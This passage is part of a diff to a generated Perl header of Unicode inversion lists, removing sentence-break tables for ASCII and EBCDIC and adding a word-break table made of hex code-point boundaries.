SB_Numeric, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_STerm, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_STerm, + SB_Other, + SB_STerm, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_STerm, + SB_Other, + SB_Upper, + SB_Lower, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_STerm, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Numeric, + SB_Other, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Extend, + SB_STerm, + SB_Other, + SB_OLetter, + SB_STerm, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_STerm, + SB_Format, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Format, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Numeric, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_STerm, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Upper, + SB_Lower, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Close, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Format, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other }; -# endif /* EBCDIC 037 */ +#endif /* defined(PERL_IN_REGEXEC_C) */ -# if 'A' == 65 /* ASCII/Latin1 */ +#if defined(PERL_IN_PERL_C) -static const UV PL_SB__CL_invlist[] = { /* for ASCII/Latin1 */ - 89, /* Number of elements */ +static const UV _Perl_WB_invlist[] = { /* for ASCII/Latin1 */ + 1657, /* Number of elements */ 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; + 0, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, + 0x9, + 0xA, + 0xB, + 0xD, + 0xE, + 0x20, + 0x21, 0x22, 0x23, 0x27, - 0x2A, + 0x28, + 0x2C, + 0x2D, + 0x2E, + 0x2F, + 0x30, + 0x3A, + 0x3B, + 0x3C, + 0x41, 0x5B, - 0x5C, - 0x5D, - 0x5E, + 0x5F, + 0x60, + 0x61, 0x7B, - 0x7C, - 0x7D, - 0x7E, + 0x85, + 0x86, + 0xA0, + 0xA1, + 0xAA, 0xAB, - 0xAC, - 0xBB, - 0xBC, - 0xF3A, - 0xF3E, - 0x169B, - 0x169D, - 0x2018, - 0x2020, - 0x2039, - 0x203B, - 0x2045, - 0x2047, - 0x207D, - 0x207F, - 0x208D, - 0x208F, - 0x2308, - 0x230C, - 0x2329, - 0x232B, - 0x275B, - 0x2761, - 0x2768, - 0x2776, - 0x27C5, - 0x27C7, - 0x27E6, - 0x27F0, - 0x2983, - 0x2999, - 0x29D8, - 0x29DC, - 0x29FC, - 0x29FE, - 0x2E00, - 0x2E0E, - 0x2E1C, - 0x2E1E, - 0x2E20, - 0x2E2A, - 0x2E42, - 0x2E43, - 0x3008, - 0x3012, - 0x3014, - 0x301C, - 0x301D, - 0x3020, - 0xFD3E, - 0xFD40, - 0xFE17, - 0xFE19, - 0xFE35, - 0xFE45, - 0xFE47, - 0xFE49, - 0xFE59, - 0xFE5F, - 0xFF08, - 0xFF0A, - 0xFF3B, - 0xFF3C, - 0xFF3D, - 0xFF3E, - 0xFF5B, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFF61, - 0xFF62, - 0xFF64, - 0x1F676, - 0x1F679 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_SB__CL_invlist[] = { /* for EBCDIC 1047 */ - 91, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4D, - 0x4E, - 0x5D, - 0x5E, - 0x7D, - 0x7E, - 0x7F, - 0x80, - 0x8A, - 0x8C, 0xAD, 0xAE, - 0xBD, - 0xBE, - 0xC0, - 0xC1, - 0xD0, - 0xD1, - 0xF3A, - 0xF3E, - 0x169B, - 0x169D, - 0x2018, - 0x2020, - 0x2039, - 0x203B, - 0x2045, - 0x2047, - 0x207D, - 0x207F, - 0x208D, - 0x208F, - 0x2308, - 0x230C, - 0x2329, - 0x232B, - 0x275B, - 0x2761, - 0x2768, - 0x2776, - 0x27C5, - 0x27C7, - 0x27E6, - 0x27F0, - 0x2983, - 0x2999, - 0x29D8, - 0x29DC, - 0x29FC, - 0x29FE, - 0x2E00, - 0x2E0E, - 0x2E1C, - 0x2E1E, - 0x2E20, - 0x2E2A, - 0x2E42, - 0x2E43, - 0x3008, - 0x3012, - 0x3014, - 0x301C, - 0x301D, - 0x3020, - 0xFD3E, - 0xFD40, - 0xFE17, - 0xFE19, - 0xFE35, - 0xFE45, - 0xFE47, - 0xFE49, - 0xFE59, - 0xFE5F, - 0xFF08, - 0xFF0A, - 0xFF3B, - 0xFF3C, - 0xFF3D, - 0xFF3E, - 0xFF5B, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFF61, - 0xFF62, - 0xFF64, - 0x1F676, - 0x1F679 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_SB__CL_invlist[] = { /* for EBCDIC 037 */ - 89, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4D, - 0x4E, - 0x5D, - 0x5E, - 0x7D, - 0x7E, - 0x7F, - 0x80, - 0x8A, - 0x8C, + 0xB5, + 0xB6, + 0xB7, + 0xB8, 0xBA, - 0xBC, + 0xBB, 0xC0, - 0xC1, - 0xD0, - 0xD1, - 0xF3A, - 0xF3E, - 0x169B, - 0x169D, - 0x2018, - 0x2020, - 0x2039, - 0x203B, - 0x2045, - 0x2047, - 0x207D, - 0x207F, - 0x208D, - 0x208F, - 0x2308, - 0x230C, - 0x2329, - 0x232B, - 0x275B, - 0x2761, - 0x2768, - 0x2776, - 0x27C5, - 0x27C7, - 0x27E6, - 0x27F0, - 0x2983, - 0x2999, - 0x29D8, - 0x29DC, - 0x29FC, - 0x29FE, - 0x2E00, - 0x2E0E, - 0x2E1C, - 0x2E1E, - 0x2E20, - 0x2E2A, - 0x2E42, - 0x2E43, - 0x3008, - 0x3012, - 0x3014, - 0x301C, - 0x301D, - 0x3020, - 0xFD3E, - 0xFD40, - 0xFE17, - 0xFE19, - 0xFE35, - 0xFE45, - 0xFE47, - 0xFE49, - 0xFE59, - 0xFE5F, - 0xFF08, - 0xFF0A, - 0xFF3B, - 0xFF3C, - 0xFF3D, - 0xFF3E, - 0xFF5B, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFF61, - 0xFF62, - 0xFF64, - 0x1F676, - 0x1F679 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_SB__EX_invlist[] = { /* for all charsets */ - 533, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, + 0xD7, + 0xD8, + 0xF7, + 0xF8, + 0x2C2, + 0x2C6, + 0x2D2, + 0x2D7, + 0x2D8, + 0x2E0, + 0x2E5, + 0x2EC, + 0x2ED, + 0x2EE, + 0x2EF, 0x300, 0x370, + 0x375, + 0x376, + 0x378, + 0x37A, + 0x37E, + 0x37F, + 0x380, + 0x386, + 0x387, + 0x388, + 0x38B, + 0x38C, + 0x38D, + 0x38E, + 0x3A2, + 0x3A3, + 0x3F6, + 0x3F7, + 0x482, 0x483, 0x48A, + 0x530, + 0x531, + 0x557, + 0x559, + 0x55A, + 0x561, + 0x588, + 0x589, + 0x58A, 0x591, 0x5BE, 0x5BF, @@ -328936,28 +18459,66 @@ static const UV PL_SB__EX_invlist[] = { /* for all charsets */ 0x5C6, 0x5C7, 0x5C8, + 0x5D0, + 0x5EB, + 0x5F0, + 0x5F3, + 0x5F4, + 0x5F5, + 0x600, + 0x606, + 0x60C, + 0x60E, 0x610, 0x61B, + 0x61C, + 0x61D, + 0x620, 0x64B, 0x660, + 0x66A, + 0x66B, + 0x66C, + 0x66D, + 0x66E, 0x670, 0x671, + 0x6D4, + 0x6D5, 0x6D6, 0x6DD, + 0x6DE, 0x6DF, 0x6E5, 0x6E7, 0x6E9, 0x6EA, 0x6EE, + 0x6F0, + 0x6FA, + 0x6FD, + 0x6FF, + 0x700, + 0x70F, + 0x710, 0x711, 0x712, 0x730, 0x74B, + 0x74D, 0x7A6, 0x7B1, + 0x7B2, + 0x7C0, + 0x7CA, 0x7EB, 0x7F4, + 0x7F6, + 0x7F8, + 0x7F9, + 0x7FA, + 0x7FB, + 0x800, 0x816, 0x81A, 0x81B, @@ -328966,8 +18527,13 @@ static const UV PL_SB__EX_invlist[] = { /* for all charsets */ 0x828, 0x829, 0x82E, + 0x840, 0x859, 0x85C, + 0x8A0, + 0x8B5, + 0x8B6, + 0x8BE, 0x8D4, 0x8E2, 0x8E3, @@ -328980,8 +18546,23 @@ static const UV PL_SB__EX_invlist[] = { /* for all charsets */ 0x958, 0x962, 0x964, + 0x966, + 0x970, + 0x971, 0x981, 0x984, + 0x985, + 0x98D, + 0x98F, + 0x991, + 0x993, + 0x9A9, + 0x9AA, + 0x9B1, + 0x9B2, + 0x9B3, + 0x9B6, + 0x9BA, 0x9BC, 0x9BD, 0x9BE, @@ -328990,12 +18571,33 @@ static const UV PL_SB__EX_invlist[] = { /* for all charsets */ 0x9C9, 0x9CB, 0x9CE, + 0x9CF, 0x9D7, 0x9D8, + 0x9DC, + 0x9DE, + 0x9DF, 0x9E2, 0x9E4, + 0x9E6, + 0x9F0, + 0x9F2, 0xA01, 0xA04, + 0xA05, + 0xA0B, + 0xA0F, + 0xA11, + 0xA13, + 0xA29, + 0xA2A, + 0xA31, + 0xA32, + 0xA34, + 0xA35, + 0xA37, + 0xA38, + 0xA3A, 0xA3C, 0xA3D, 0xA3E, @@ -329006,12 +18608,29 @@ static const UV PL_SB__EX_invlist[] = { /* for all charsets */ 0xA4E, 0xA51, 0xA52, + 0xA59, + 0xA5D, + 0xA5E, + 0xA5F, + 0xA66, 0xA70, 0xA72, 0xA75, 0xA76, 0xA81, 0xA84, + 0xA85, + 0xA8E, + 0xA8F, + 0xA92, + 0xA93, + 0xAA9, + 0xAAA, + 0xAB1, + 0xAB2, + 0xAB4, + 0xAB5, + 0xABA, 0xABC, 0xABD, 0xABE, @@ -329020,12 +18639,29 @@ static const UV PL_SB__EX_invlist[] = { /* for all charsets */ 0xACA, 0xACB, 0xACE, + 0xAD0, + 0xAD1, + 0xAE0, 0xAE2, 0xAE4, + 0xAE6, + 0xAF0, + 0xAF9, 0xAFA, - 0xB00, 0xB01, 0xB04, + 0xB05, + 0xB0D, + 0xB0F, + 0xB11, + 0xB13, + 0xB29, + 0xB2A, + 0xB31, + 0xB32, + 0xB34, + 0xB35, + 0xB3A, 0xB3C, 0xB3D, 0xB3E, @@ -329036,20 +18672,59 @@ static const UV PL_SB__EX_invlist[] = { /* for all charsets */ 0xB4E, 0xB56, 0xB58, + 0xB5C, + 0xB5E, + 0xB5F, 0xB62, 0xB64, + 0xB66, + 0xB70, + 0xB71, + 0xB72, 0xB82, 0xB83, + 0xB84, + 0xB85, + 0xB8B, + 0xB8E, + 0xB91, + 0xB92, + 0xB96, + 0xB99, + 0xB9B, + 0xB9C, + 0xB9D, + 0xB9E, + 0xBA0, + 0xBA3, + 0xBA5, + 0xBA8, + 0xBAB, + 0xBAE, + 0xBBA, 0xBBE, 0xBC3, 0xBC6, 0xBC9, 0xBCA, 0xBCE, + 0xBD0, + 0xBD1, 0xBD7, 0xBD8, + 0xBE6, + 0xBF0, 0xC00, 0xC04, + 0xC05, + 0xC0D, + 0xC0E, + 0xC11, + 0xC12, + 0xC29, + 0xC2A, + 0xC3A, + 0xC3D, 0xC3E, 0xC45, 0xC46, @@ -329058,10 +18733,26 @@ static const UV PL_SB__EX_invlist[] = { /* for all charsets */ 0xC4E, 0xC55, 0xC57, + 0xC58, + 0xC5B, + 0xC60, 0xC62, 0xC64, + 0xC66, + 0xC70, + 0xC80, 0xC81, 0xC84, + 0xC85, + 0xC8D, + 0xC8E, + 0xC91, + 0xC92, + 0xCA9, + 0xCAA, + 0xCB4, + 0xCB5, + 0xCBA, 0xCBC, 0xCBD, 0xCBE, @@ -329072,10 +18763,22 @@ static const UV PL_SB__EX_invlist[] = { /* for all charsets */ 0xCCE, 0xCD5, 0xCD7, + 0xCDE, + 0xCDF, + 0xCE0, 0xCE2, 0xCE4, - 0xD00, + 0xCE6, + 0xCF0, + 0xCF1, + 0xCF3, + 0xD01, 0xD04, + 0xD05, + 0xD0D, + 0xD0E, + 0xD11, + 0xD12, 0xD3B, 0xD3D, 0xD3E, @@ -329084,12 +18787,29 @@ static const UV PL_SB__EX_invlist[] = { /* for all charsets */ 0xD49, 0xD4A, 0xD4E, + 0xD4F, + 0xD54, 0xD57, 0xD58, + 0xD5F, 0xD62, 0xD64, + 0xD66, + 0xD70, + 0xD7A, + 0xD80, 0xD82, 0xD84, + 0xD85, + 0xD97, + 0xD9A, + 0xDB2, + 0xDB3, + 0xDBC, + 0xDBD, + 0xDBE, + 0xDC0, + 0xDC7, 0xDCA, 0xDCB, 0xDCF, @@ -329098,6 +18818,8 @@ static const UV PL_SB__EX_invlist[] = { /* for all charsets */ 0xDD7, 0xDD8, 0xDE0, + 0xDE6, + 0xDF0, 0xDF2, 0xDF4, 0xE31, @@ -329106,6 +18828,8 @@ static const UV PL_SB__EX_invlist[] = { /* for all charsets */ 0xE3B, 0xE47, 0xE4F, + 0xE50, + 0xE5A, 0xEB1, 0xEB2, 0xEB4, @@ -329114,8 +18838,14 @@ static const UV PL_SB__EX_invlist[] = { /* for all charsets */ 0xEBD, 0xEC8, 0xECE, + 0xED0, + 0xEDA, + 0xF00, + 0xF01, 0xF18, 0xF1A, + 0xF20, + 0xF2A, 0xF35, 0xF36, 0xF37, @@ -329124,6 +18854,9 @@ static const UV PL_SB__EX_invlist[] = { /* for all charsets */ 0xF3A, 0xF3E, 0xF40, + 0xF48, + 0xF49, + 0xF6D, 0xF71, 0xF85, 0xF86, @@ -329136,6 +18869,8 @@ static const UV PL_SB__EX_invlist[] = { /* for all charsets */ 0xFC7, 0x102B, 0x103F, + 0x1040, + 0x104A, 0x1056, 0x105A, 0x105E, @@ -329152,30 +18887,113 @@ static const UV PL_SB__EX_invlist[] = { /* for all charsets */ 0x1090, 0x109A, 0x109E, + 0x10A0, + 0x10C6, + 0x10C7, + 0x10C8, + 0x10CD, + 0x10CE, + 0x10D0, + 0x10FB, + 0x10FC, + 0x1249, + 0x124A, + 0x124E, + 0x1250, + 0x1257, + 0x1258, + 0x1259, + 0x125A, + 0x125E, + 0x1260, + 0x1289, + 0x128A, + 0x128E, + 0x1290, + 0x12B1, + 0x12B2, + 0x12B6, + 0x12B8, + 0x12BF, + 0x12C0, + 0x12C1, + 0x12C2, + 0x12C6, + 0x12C8, + 0x12D7, + 0x12D8, + 0x1311, + 0x1312, + 0x1316, + 0x1318, + 0x135B, 0x135D, 0x1360, + 0x1380, + 0x1390, + 0x13A0, + 0x13F6, + 0x13F8, + 0x13FE, + 0x1401, + 0x166D, + 0x166F, + 0x1680, + 0x1681, + 0x169B, + 0x16A0, + 0x16EB, + 0x16EE, + 0x16F9, + 0x1700, + 0x170D, + 0x170E, 0x1712, 0x1715, + 0x1720, 0x1732, 0x1735, + 0x1740, 0x1752, 0x1754, + 0x1760, + 0x176D, + 0x176E, + 0x1771, 0x1772, 0x1774, 0x17B4, 0x17D4, 0x17DD, 0x17DE, + 0x17E0, + 0x17EA, 0x180B, 0x180E, + 0x180F, + 0x1810, + 0x181A, + 0x1820, + 0x1878, + 0x1880, 0x1885, 0x1887, 0x18A9, 0x18AA, + 0x18AB, + 0x18B0, + 0x18F6, + 0x1900, + 0x191F, 0x1920, 0x192C, 0x1930, 0x193C, + 0x1946, + 0x1950, + 0x19D0, + 0x19DA, + 0x1A00, 0x1A17, 0x1A1C, 0x1A55, @@ -329184,22 +19002,39 @@ static const UV PL_SB__EX_invlist[] = { /* for all charsets */ 0x1A7D, 0x1A7F, 0x1A80, + 0x1A8A, + 0x1A90, + 0x1A9A, 0x1AB0, 0x1ABF, 0x1B00, 0x1B05, 0x1B34, 0x1B45, + 0x1B4C, + 0x1B50, + 0x1B5A, 0x1B6B, 0x1B74, 0x1B80, 0x1B83, 0x1BA1, 0x1BAE, + 0x1BB0, + 0x1BBA, 0x1BE6, 0x1BF4, + 0x1C00, 0x1C24, 0x1C38, + 0x1C40, + 0x1C4A, + 0x1C4D, + 0x1C50, + 0x1C5A, + 0x1C7E, + 0x1C80, + 0x1C89, 0x1CD0, 0x1CD3, 0x1CD4, @@ -329209,33 +19044,223 @@ static const UV PL_SB__EX_invlist[] = { /* for all charsets */ 0x1CF2, 0x1CF5, 0x1CF7, + 0x1CF8, 0x1CFA, + 0x1D00, 0x1DC0, - 0x1DFA, + 0x1DF6, 0x1DFB, 0x1E00, + 0x1F16, + 0x1F18, + 0x1F1E, + 0x1F20, + 0x1F46, + 0x1F48, + 0x1F4E, + 0x1F50, + 0x1F58, + 0x1F59, + 0x1F5A, + 0x1F5B, + 0x1F5C, + 0x1F5D, + 0x1F5E, + 0x1F5F, + 0x1F7E, + 0x1F80, + 0x1FB5, + 0x1FB6, + 0x1FBD, + 0x1FBE, + 0x1FBF, + 0x1FC2, + 0x1FC5, + 0x1FC6, + 0x1FCD, + 0x1FD0, + 0x1FD4, + 0x1FD6, + 0x1FDC, + 0x1FE0, + 0x1FED, + 0x1FF2, + 0x1FF5, + 0x1FF6, + 0x1FFD, + 0x2000, + 0x200B, 0x200C, + 0x200D, 0x200E, + 0x2010, + 0x2018, + 0x201A, + 0x2024, + 0x2025, + 0x2027, + 0x2028, + 0x202A, + 0x202F, + 0x2030, + 0x203F, + 0x2041, + 0x2044, + 0x2045, + 0x2054, + 0x2055, + 0x205F, + 0x2060, + 0x2065, + 0x2066, + 0x2070, + 0x2071, + 0x2072, + 0x207F, + 0x2080, + 0x2090, + 0x209D, 0x20D0, 0x20F1, + 0x2102, + 0x2103, + 0x2107, + 0x2108, + 0x210A, + 0x2114, + 0x2115, + 0x2116, + 0x2119, + 0x211E, + 0x2124, + 0x2125, + 0x2126, + 0x2127, + 0x2128, + 0x2129, + 0x212A, + 0x212E, + 0x212F, + 0x213A, + 0x213C, + 0x2140, + 0x2145, + 0x214A, + 0x214E, + 0x214F, + 0x2160, + 0x2189, + 0x24B6, + 0x24EA, + 0x261D, + 0x261E, + 0x26F9, + 0x26FA, + 0x270A, + 0x270E, + 0x2764, + 0x2765, + 0x2C00, + 0x2C2F, + 0x2C30, + 0x2C5F, + 0x2C60, + 0x2CE5, + 0x2CEB, 0x2CEF, 0x2CF2, + 0x2CF4, + 0x2D00, + 0x2D26, + 0x2D27, + 0x2D28, + 0x2D2D, + 0x2D2E, + 0x2D30, + 0x2D68, + 0x2D6F, + 0x2D70, 0x2D7F, 0x2D80, + 0x2D97, + 0x2DA0, + 0x2DA7, + 0x2DA8, + 0x2DAF, + 0x2DB0, + 0x2DB7, + 0x2DB8, + 0x2DBF, + 0x2DC0, + 0x2DC7, + 0x2DC8, + 0x2DCF, + 0x2DD0, + 0x2DD7, + 0x2DD8, + 0x2DDF, 0x2DE0, 0x2E00, + 0x2E2F, + 0x2E30, + 0x3000, + 0x3001, + 0x3005, + 0x3006, 0x302A, 0x3030, + 0x3031, + 0x3036, + 0x303B, + 0x303D, 0x3099, 0x309B, + 0x309D, + 0x30A0, + 0x30FB, + 0x30FC, + 0x3100, + 0x3105, + 0x312E, + 0x3131, + 0x318F, + 0x31A0, + 0x31BB, + 0x31F0, + 0x3200, + 0x32D0, + 0x32FF, + 0x3300, + 0x3358, + 0xA000, + 0xA48D, + 0xA4D0, + 0xA4FE, + 0xA500, + 0xA60D, + 0xA610, + 0xA620, + 0xA62A, + 0xA62C, + 0xA640, 0xA66F, 0xA673, 0xA674, 0xA67E, + 0xA67F, 0xA69E, 0xA6A0, 0xA6F0, 0xA6F2, + 0xA717, + 0xA720, + 0xA722, + 0xA789, + 0xA78B, + 0xA7AF, + 0xA7B0, + 0xA7B8, + 0xA7F7, 0xA802, 0xA803, 0xA806, @@ -329244,28 +19269,51 @@ static const UV PL_SB__EX_invlist[] = { /* for all charsets */ 0xA80C, 0xA823, 0xA828, + 0xA840, + 0xA874, 0xA880, 0xA882, 0xA8B4, 0xA8C6, + 0xA8D0, + 0xA8DA, 0xA8E0, 0xA8F2, + 0xA8F8, + 0xA8FB, + 0xA8FC, + 0xA8FD, + 0xA8FE, + 0xA900, + 0xA90A, 0xA926, 0xA92E, + 0xA930, 0xA947, 0xA954, + 0xA960, + 0xA97D, 0xA980, 0xA984, 0xA9B3, 0xA9C1, + 0xA9CF, + 0xA9D0, + 0xA9DA, 0xA9E5, 0xA9E6, + 0xA9F0, + 0xA9FA, + 0xAA00, 0xAA29, 0xAA37, + 0xAA40, 0xAA43, 0xAA44, 0xAA4C, 0xAA4E, + 0xAA50, + 0xAA5A, 0xAA7B, 0xAA7E, 0xAAB0, @@ -329278,68 +19326,320 @@ static const UV PL_SB__EX_invlist[] = { /* for all charsets */ 0xAAC0, 0xAAC1, 0xAAC2, + 0xAAE0, 0xAAEB, 0xAAF0, + 0xAAF2, 0xAAF5, 0xAAF7, + 0xAB01, + 0xAB07, + 0xAB09, + 0xAB0F, + 0xAB11, + 0xAB17, + 0xAB20, + 0xAB27, + 0xAB28, + 0xAB2F, + 0xAB30, + 0xAB5B, + 0xAB5C, + 0xAB66, + 0xAB70, 0xABE3, 0xABEB, 0xABEC, 0xABEE, + 0xABF0, + 0xABFA, + 0xAC00, + 0xD7A4, + 0xD7B0, + 0xD7C7, + 0xD7CB, + 0xD7FC, + 0xFB00, + 0xFB07, + 0xFB13, + 0xFB18, + 0xFB1D, 0xFB1E, 0xFB1F, + 0xFB29, + 0xFB2A, + 0xFB37, + 0xFB38, + 0xFB3D, + 0xFB3E, + 0xFB3F, + 0xFB40, + 0xFB42, + 0xFB43, + 0xFB45, + 0xFB46, + 0xFB50, + 0xFBB2, + 0xFBD3, + 0xFD3E, + 0xFD50, + 0xFD90, + 0xFD92, + 0xFDC8, + 0xFDF0, + 0xFDFC, 0xFE00, 0xFE10, + 0xFE11, + 0xFE13, + 0xFE14, + 0xFE15, 0xFE20, 0xFE30, + 0xFE33, + 0xFE35, + 0xFE4D, + 0xFE50, + 0xFE51, + 0xFE52, + 0xFE53, + 0xFE54, + 0xFE55, + 0xFE56, + 0xFE70, + 0xFE75, + 0xFE76, + 0xFEFD, + 0xFEFF, + 0xFF00, + 0xFF07, + 0xFF08, + 0xFF0C, + 0xFF0D, + 0xFF0E, + 0xFF0F, + 0xFF1A, + 0xFF1B, + 0xFF1C, + 0xFF21, + 0xFF3B, + 0xFF3F, + 0xFF40, + 0xFF41, + 0xFF5B, + 0xFF66, 0xFF9E, 0xFFA0, + 0xFFBF, + 0xFFC2, + 0xFFC8, + 0xFFCA, + 0xFFD0, + 0xFFD2, + 0xFFD8, + 0xFFDA, + 0xFFDD, + 0xFFF9, + 0xFFFC, + 0x10000, + 0x1000C, + 0x1000D, + 0x10027, + 0x10028, + 0x1003B, + 0x1003C, + 0x1003E, + 0x1003F, + 0x1004E, + 0x10050, + 0x1005E, + 0x10080, + 0x100FB, + 0x10140, + 0x10175, 0x101FD, 0x101FE, + 0x10280, + 0x1029D, + 0x102A0, + 0x102D1, 0x102E0, 0x102E1, + 0x10300, + 0x10320, + 0x10330, + 0x1034B, + 0x10350, 0x10376, 0x1037B, + 0x10380, + 0x1039E, + 0x103A0, + 0x103C4, + 0x103C8, + 0x103D0, + 0x103D1, + 0x103D6, + 0x10400, + 0x1049E, + 0x104A0, + 0x104AA, + 0x104B0, + 0x104D4, + 0x104D8, + 0x104FC, + 0x10500, + 0x10528, + 0x10530, + 0x10564, + 0x10600, + 0x10737, + 0x10740, + 0x10756, + 0x10760, + 0x10768, + 0x10800, + 0x10806, + 0x10808, + 0x10809, + 0x1080A, + 0x10836, + 0x10837, + 0x10839, + 0x1083C, + 0x1083D, + 0x1083F, + 0x10856, + 0x10860, + 0x10877, + 0x10880, + 0x1089F, + 0x108E0, + 0x108F3, + 0x108F4, + 